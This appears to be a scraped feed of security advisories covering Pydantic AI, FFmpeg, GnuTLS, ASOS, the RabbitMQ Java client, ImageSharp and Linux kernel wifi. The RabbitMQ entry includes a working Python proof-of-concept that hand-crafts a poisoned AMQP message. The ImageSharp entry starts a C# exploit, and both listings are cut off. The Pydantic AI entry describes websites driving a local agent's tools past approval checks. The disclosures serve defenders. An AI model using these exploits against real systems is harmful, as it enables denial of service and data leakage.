Search: t**n*e**l s.a. c***t**c***a

### Summary The Pydantic AI development web chat UI (`Agent.to_web()`, `clai web`) did not check the content type of requests to its chat endpoint. This allowed a website visited by a developer to submit a request to a chat UI running on that developer's machine, causing the served agent to run and to execute its tools with the privileges and credentials of the local process. Binding the web UI to localhost — the default — does not prevent this, because a page open in the developer's browser can reach the loopback address. ### Impact Applications and developers serving an agent through `Agent.to_web()` or `clai web`. The consequences depend on the tools the served agent exposes, and can include data disclosure as well as unwanted tool side effects. Tools marked `requires_approval=True` were not protected either, because the endpoint trusts approval decisions relayed by the client. ### Mitigation Upgrade to a patched version. The chat endpoint now requires `Content-Type: application/json` and rejects other requests before the request body is parsed and before the agent runs. The bundled chat UI already sends this header; scripts and other non-browser clients that call the endpoint directly may need to be updated to send it. If you cannot upgrade, don't run the web UI while browsing untrusted sites, stop it when you aren't using it, and don't serve an agent with side-effecting tools through it. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)

### Summary Pydantic AI's OpenTelemetry instrumentation supports `InstrumentationSettings(include_content=False)` to exclude message content — user prompts, model completions, tool call arguments and responses — from exported telemetry, so that agents can be monitored without sending sensitive content to the observability backend. Retry prompts — the feedback messages Pydantic AI sends back to the model when its output fails validation or an output validator raises `ModelRetry` — were not covered by this setting when they were not associated with a tool call, as with structured output modes that don't use tool calls (e.g. `NativeOutput` or `PromptedOutput`) and output validators applied to text output. Their full content was recorded on model request spans even with `include_content=False`. Since validation feedback can quote invalid values from the model's response, message content that the setting was configured to withhold could reach the telemetry backend. ### Details Retry prompts without an associated tool call were serialized into span message attributes (such as `gen_ai.input.messages` and `pydantic_ai.all_messages`) as regular text parts, and this path did not apply the `include_content` check that every other message part applies. Retry prompts tied to a tool call, and all other message content, were redacted correctly. ### Impact This does not grant an attacker any new access to the agent or its data: the content is only visible to whoever can read the exported telemetry. The exposure matters when traces are exported to a destination whose audience is broader or less trusted than the agent's own data — a third-party observability vendor or a shared backend — which is the scenario `include_content=False` exists for. The disclosed content is limited to retry feedback: validation error details, which can quote invalid values from the model's output, or output-validator `ModelRetry` messages. ### Who Is Affected You are affected if you enabled instrumentation with `include_content=False` and your agent can produce retry prompts outside of tool calls: it uses a structured output mode that doesn't rely on tool calls (such as `NativeOutput` or `PromptedOutput`), or output validators on text output. You are not affected if you don't set `include_content=False`, or if all of your agent's retries come from tool calls (including the default tool-based structured output mode), which were redacted correctly. ### Remediation Upgrade to a patched version; retry prompt content now honors `include_content=False` like all other message content. If you rely on this setting, consider reviewing previously exported traces for retry prompt content that should not have been recorded. ### Workaround for Unpatched Versions If you cannot upgrade, scrub or drop the message attributes (`gen_ai.input.messages`, `gen_ai.output.messages`, `pydantic_ai.all_messages`) in your telemetry pipeline (for example with an OpenTelemetry Collector processor), or use tool-based structured output modes, whose retry feedback honors `include_content=False`. ### Credits Reported privately by the University of Sydney Security Research Team (Liyi Zhou, Ziyue Wang, Strick, Maurice, Chenchen Yu), and later independently discovered and reported publicly, with a fix, by @sean-kim05.

FFmpeg versions through 9.0.2 contain an uninitialized memory disclosure vulnerability in the av_dynamic_hdr_plus_to_t35() function. This flaw causes up to three payload bytes to remain uninitialized when the tone_mapping_flag is set to 0. An attacker can exploit this by supplying crafted Matroska T.35 BlockAdditional or HEVC/AV1 SEI metadata, leading to leaked process memory being written into output files during remuxing or transcoding. The vulnerability has a medium severity with a CVSS score of 3.3.

This content discusses the current state and effectiveness of security awareness training in enterprises. It highlights that while all organizations conduct such training, its tangible benefits are debated due to repetitive, generic content and compliance-driven approaches. The rise of AI-enabled social engineering attacks challenges traditional training methods. Experts suggest that awareness training needs to be more frequent, context-driven, behavioral-focused, and integrated with technical controls rather than relied upon as the sole defense. The article emphasizes that training alone cannot counter modern threats, especially those leveraging AI for sophisticated phishing and social engineering.

GnuTLS v3.8.13 does not reject end-entity X.509 certificates that contain a contradictory combination of Key Usage (KU) and Extended Key Usage (EKU). NOTE: the Supplier does not consider this an actionable security vulnerability because of its "threat model doesn't consider attacks only possible by modifying anything within the trust boundary (private keys, trusted certificate authorities and their issued certificates including intermediate CAs, etc.)" policy.

In GnuTLS v3.8.13, an excluded msUPN/SRV otherName is never checked. NOTE: the Supplier does not consider this an actionable security vulnerability because of its "threat model doesn't consider attacks only possible by modifying anything within the trust boundary (private keys, trusted certificate authorities and their issued certificates including intermediate CAs, etc.)" policy.

GnuTLS v3.8.13 does not reject a critical keyUsage extension when it cannot be processed, such as when extnValue is an ASN.1 NULL (05 00) instead of a BIT STRING. NOTE: the Supplier does not consider this an actionable security vulnerability because of its "threat model doesn't consider attacks only possible by modifying anything within the trust boundary (private keys, trusted certificate authorities and their issued certificates including intermediate CAs, etc.)" policy.

GnuTLS v3.8.13 does not properly enforce name constraints, as demonstrated by a permitted subtree violation for "EE O=Evil accepted although outside permitted O=Good." NOTE: the Supplier does not consider this an actionable security vulnerability because of its "threat model doesn't consider attacks only possible by modifying anything within the trust boundary (private keys, trusted certificate authorities and their issued certificates including intermediate CAs, etc.)" policy.

GnuTLS v3.8.13 can perhaps unexpectedly trust a certificate on the basis of Common Name when Subject Alternative Name has an SRV otherName (1.3.6.1.5.5.7.8.7) whose value is an OCTET STRING. NOTE: the Supplier does not consider this an actionable security vulnerability because of its "threat model doesn't consider attacks only possible by modifying anything within the trust boundary (private keys, trusted certificate authorities and their issued certificates including intermediate CAs, etc.)" policy.

On 6 October 2026, attackers sent an unauthorized ransom note via ASOS's own app notification system, claiming to have compromised ASOS's Snowflake data platform and threatening to leak data unless paid. ASOS confirmed the unauthorized notification and restricted access to its messaging platforms, acknowledging that names and contact details may have been accessed, but payment information was not affected. The attackers used third-party platforms ASOS employs for customer communication. The incident follows a similar prior attack on Betterment, where rogue messages led to data leaks. ASOS is investigating the breach, but no proof of Snowflake compromise has been provided, and Snowflake denies platform compromise. Customers are advised to assume they are affected and be cautious of follow-on fraud and phishing attempts.

### Summary A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel. The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue. In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone. ### Details `ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75 `ValueWriter.writeShortstr` then rejects the result with an unchecked exception: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56 So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected. Two consumption paths are impacted: 1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two. In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue. A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag. ### PoC Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.** 1. Start a broker: ```bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq ``` 2. Publish a message whose `correlation-id` is 255 × `0xFF`: ```python import socket, struct def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a QUEUE = "rpc.poison" s = socket.create_connection(("127.0.0.1", 5672), timeout=10) def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:] s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("en_US")))) cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11) s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison")) # close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE) ``` 3. Run a consumer using the tutorial pattern against `rpc.poison`: ```java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder(

## Summary A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block. This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared `Configuration.Default` allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application. No active exploitation is known. ## Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected published releases: **4.0.0, 4.1.0, and 4.1.1** - Affected range: `>= 4.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them. ## Details For ZIP/ZIPS EXR compression, [`ExrDecoderCore`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/ExrDecoderCore.cs#L169-L205) allocates the expected block buffer without `AllocationOptions.Clean` and later interprets the complete buffer as channel data. [`ZipExrCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/Decompressors/ZipExrCompression.cs#L25-L38) accepts a partial but non-empty inflate result: [`UndoZipCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/ExrBaseDecompressor.cs#L45-L75) rejects only `totalRead == 0`. Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. `ExrDecoderCore` then converts those bytes into returned image pixels. ## Reproduction The attached Docker PoC uses the published `SixLabors.ImageSharp` NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value `0.27182817`. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR. The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output. ```sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control ``` Test environment: Docker with `mcr.microsoft.com/dotnet/sdk:8.0`, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64. Observed output: ```text imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=exploit prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=True first-prior-value-pixel=4 imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=control prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=False first-prior-value-pixel=-1 ``` ## Suggested remediation Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes. ### Complete PoC files Program.cs: ```csharp using System.Buffers.Binary; using System.Globalization; using System.IO.Compression; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Formats.Exr; using SixLabors.ImageSharp.Formats.Exr.Constants; using SixLabors.ImageSharp.PixelFormats; // This performs two independent completed ImageSharp operations in one process. // The first is a valid EXR encoding containing a test value. The second is a // malformed EXR decode whose short ZIP result exposes that value from the // allocator shared through Configuration.Default. internal static class Program { private const int PriorWidth = 64; private const int AttackerWidth = 256; private const float PriorValue = 0.271828182f; private static int Main(string[] args) { bool exploit = args.Length == 0 || args[0] == "exploit"; if (args.Length > 0 && args[0] is not ("exploit" or "control")) { Console.Error.WriteLine("usage: final-4q3p [exploit|control]"); return 2; } Assembly imageSharp = typeof(Image).Assembly; string informationalVersion = imageSharp .GetCustomAttribute<AssemblyInformationalVersionAttribute>()? .InformationalVersion ?? "(missing)"; Console.WriteLine($"imagesharp-ass

A vulnerability in the Linux kernel's wifi cfg80211 component causes a crash when the function cfg80211_calculate_bi_data() calls rdev_get_radio_mask() with a NULL netdev pointer. This occurs for netdev-less wireless devices (wdevs). The issue has been fixed by changing the order of checks to ensure wdev->netdev is valid before use.

A vulnerability in the Linux kernel's mac80211 wireless subsystem could cause a warning due to improper handling of remain-on-channel (ROC) operations during scanning. Specifically, starting a ROC while a scan is in progress can lead to a race condition triggering a kernel warning.

A vulnerability in the Linux kernel's mac80211 wireless subsystem involves improper offloading of traffic control (TC) setup on AP_VLAN interfaces, which are purely virtual. The kernel incorrectly attempts to offload TC setup to drivers on these interfaces, which is not appropriate. The issue has been resolved by rejecting TC offload on AP_VLAN interfaces so that processing occurs in software instead.

A vulnerability in the Linux kernel's mac80211 wireless subsystem allowed injection of frames with a requested bandwidth wider than the channel context. This could trigger warnings and potentially disrupt wireless operations. The issue has been resolved by dropping such frames entirely.

A race condition vulnerability in the Linux kernel's TCP IPv6 receive function (tcp_v6_do_rcv) can cause a kernel warning and potential instability. The issue arises when skb_clone_and_charge_r() is called for a socket that has been concurrently closed, leading to a splat (kernel warning) due to lockless access. The vulnerability affects certain linux-aws kernel versions and has been addressed by avoiding the problematic function call for closed TCP sockets.

A use-after-free vulnerability in the Linux kernel's virt_wifi module was resolved. The issue occurs because the operstate transfer happens before the virtual WiFi device is fully registered, leading to a potential use-after-free if registration fails. This was fixed by moving the operstate transfer to after the device linking step.

A vulnerability in the Linux kernel's wifi cfg80211 component was resolved. The issue involved improper filtering by BSS type when removing stale entries, which could cause a warning and potential instability when a rogue AP or device changed the BSS type unexpectedly. This was fixed by removing the BSS type check during stale entry removal.

A use-after-free vulnerability in the Linux kernel's wifi cfg80211 subsystem was resolved. The issue occurs when a network interface goes down during an ongoing scan, causing asynchronous cancellation confusion that leads the driver to incorrectly believe it owns the scan request, resulting in a use-after-free condition. This vulnerability affects specific linux-aws kernel versions and has a CVSS score of 7.8.